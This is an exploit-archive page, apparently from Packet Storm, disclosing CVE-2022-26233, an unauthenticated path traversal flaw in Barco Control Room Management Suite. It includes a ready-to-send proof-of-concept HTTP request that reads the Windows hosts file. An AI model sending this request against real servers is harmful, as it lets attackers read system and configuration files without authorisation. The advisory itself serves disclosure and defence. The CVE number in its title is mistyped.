Barco Control Room Management Suite Directory Traversal

Authored by Murat Aydemir | Posted Apr 4, 2022

Barco Control Room Management Suite versions prior to 2.9 build 0275 suffer from a directory traversal vulnerability.

tags | exploit, file inclusion
advisories | CVE-2022-26233
SHA-256 | b1ec333a285f727f101ec39e59974d8125d1c1f97f298850e6ec2b47b08d879f Download | Favorite | View

Related Files

Share This

Like 0 Tweet LinkedIn Reddit Digg StumbleUpon

Change Mirror Download

```
*I. SUMMARY*
Title: [CVE-2022-2623] Barco Control Room Management Suite File Path
Traversal Vulnerability
Product: Barco Control Room Management Suite before 2.9 build 0275 and all
prior versions
Vulnerability Type: File Path Traversal
Credit by/Researcher: Murat Aydemir from Accenture Cyber Security Team
(Prague CFC)
Contact: https://twitter.com/mrtydmr75
Github: https://github.com/murataydemir

*II. CVE REFERENCE, CVSS SCORES & VULNERABILITY TYPES*
CVE Number: CVE-2022-26233
CVSSv3: Base score: 7.5 Impact 3.6 Exploitability: 3.9
CVSSv3 Vector: 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)
Vulnerability Type: File Path Traversal
CWE ID: CWE-22 Improper Limitation of a Pathname to a Restricted Directory
('Path Traversal')

*III. PROOF OF CONCEPT (POC) FOR CVE-2022-26233*
Due to lack of input sanitizing inputs which come from url, an application
is vulnerable to file path traversal vulnerability. A succesfully
exploitation of this vulnerability could lead to access/read files and
directories stored on file system including application source code or
configuration and critical system files. No authentication is required to
exploit this vulnerability. An attacker who is not logged into the
application can easily exploit this vulnerability.

GET /..\..\..\..\..\..\..\..\..\..\..\..\windows\System32\drivers\etc\hosts
HTTP/1.1
Host: vulnerablehost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:81.0)
Gecko/20100101 Firefox/81.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close

[image: file-path-traversal.PNG]

*IV. REFERENCE(S)*
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-26233
https://nvd.nist.gov/vuln/detail/CVE-2022-26233
https://www.barco.com/en/support/knowledge-base/kb115*XX*
```


File Archive: November 2022 <

Su	Mo	Tu	We	Th	Fr	Sa
		1	2	3	4	5
6	7	8	9	10	11	12
13	14	15	16	17	18	19
20	21	22	23	24	25	26
27	28	29	30			

Top Authors In Last 30 Days

- Red Hat 186 files
- Ubuntu 52 files
- Gentoo 44 files
- Debian 27 files
- Apple 25 files
- Google Security Research 14 files
- malvuln 10 files
- nu11secur1ty 6 files
- mjurczyk 4 files
- George Tsimpidas 3 files

File Tags

- ActiveX (932)
- Advisory (79,557)
- Arbitrary (15,643)
- BBS (2,859)
- Bypass (1,615)
- CGI (1,015)
- Code Execution (6,913)
- Conference (672)
- Cracker (840)
- CSRF (3,288)
- DoS (22,541)
- Encryption (2,349)
- Exploit (50,293)
- File Inclusion (4,162)
- File Upload (946)
- Firewall (821)
- Info Disclosure (2,656)

File Archives

- November 2022
- October 2022
- September 2022
- August 2022
- July 2022
- June 2022
- May 2022
- April 2022
- March 2022
- February 2022
- January 2022
- December 2021
- Older

Systems

- AIX (426)
- Apple (1,926)

Intrusion Detection (866)
Java (2,888)
JavaScript (817)
Kernel (6,255)
Local (14,173)
Magazine (586)
Overflow (12,390)
Perl (1,417)
PHP (5,087)
Proof of Concept (2,290)
Protocol (3,426)
Python (1,449)
Remote (30,009)
Root (3,496)
Ruby (594)
Scanner (1,631)
Security Tool (7,768)
Shell (3,098)
Shellcode (1,204)
Sniffer (885)
Spoof (2,165)
SQL Injection (16,089)
TCP (2,377)
Trojan (685)
UDP (875)
Virus (661)
Vulnerability (31,104)
Web (9,329)
Whitepaper (3,728)
x86 (946)
XSS (17,478)
Other

BSD (370)
CentOS (55)
Cisco (1,917)
Debian (6,620)
Fedora (1,690)
FreeBSD (1,242)
Gentoo (4,272)
HPUX (878)
iOS (330)
iPhone (108)
IRIX (220)
Juniper (67)
Linux (44,118)
Mac OS X (684)
Mandriva (3,105)
NetBSD (255)
OpenBSD (479)
RedHat (12,339)
Slackware (941)
Solaris (1,607)
SUSE (1,444)
Ubuntu (8,147)
UNIX (9,150)
UnixWare (185)
Windows (6,504)
Other

packet storm

Site Links

News by Month
News Tags
Files by Month
File Tags
File Directory

About Us

History & Purpose
Contact Information
Terms of Service
Privacy Statement
Copyright Information

Hosting By

Rokasec

Follow us on Twitter
Subscribe to an RSS Feed